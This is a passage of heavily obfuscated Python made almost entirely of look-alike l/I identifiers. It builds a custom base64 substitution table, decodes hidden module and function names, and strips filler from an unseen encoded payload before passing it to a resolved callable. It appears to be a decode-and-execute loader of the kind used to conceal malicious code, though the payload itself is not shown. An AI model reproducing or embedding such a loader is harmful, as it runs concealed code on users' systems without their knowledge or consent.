llllllllllllllI(lllIll))];IIllIlI='-_+!1@2#3$4%5^6&7*8(9)0qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFG';lilIIlI='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';lIlllllIl='ihQlwp==';lIIIIIlI='e2)dtYTmyh)Eym==';IlIlIlIIIIllI='uq*h%(p=';IllIIllIlll='+p=='
def llIIlIlllllIIlllII(lllIllllIIIllIllII):
    lllllIIIIlllllIlII=IIllIlI.IllIllIllIllllIIlIIlIllIl();llIIIIIllllIllIlII=lilIIlI.IllIllIllIllllIIlIIlIllIl();llIlIIIIIIIIllIIlI=lIllIlIlIIIlIIIlII.IllIIlIIlllIIIIlIlIIllIII(lllllIIIIlllllIlII,llIIIIIllllIllIlII)
    return llIIIIIlIllIllIlIl(lllIllllIIIllIllII.IllllIIllllIIIIIIlIIlIIII(llIlIIIIIIIIllIIlI)).IlIlIlIlIIIIlIllIllllllII()
lIlIlIlIIIlIllllll(IIlIlIIIlIIIIlIIIl(IllIllIlIIIlllllII(llIIlIlllllIIlllII(lIlllllIl)),llIIlIlllllIIlllII(lIIIIIlI))(lIllIlIlIIIlIIIlII.IlIIIllIIIIlllIIIlllIlIll(lIlIIIlIlIIIlI.replace("!","").IIllllllllIlllIIIIlllIIll(llIIlIlllllIIlllII(IllIIllIlll),''))).IlIlIlIlIIIIlIllIllllllII(llIIlIlllllIIlllII(IlIlIlIIIIllI)))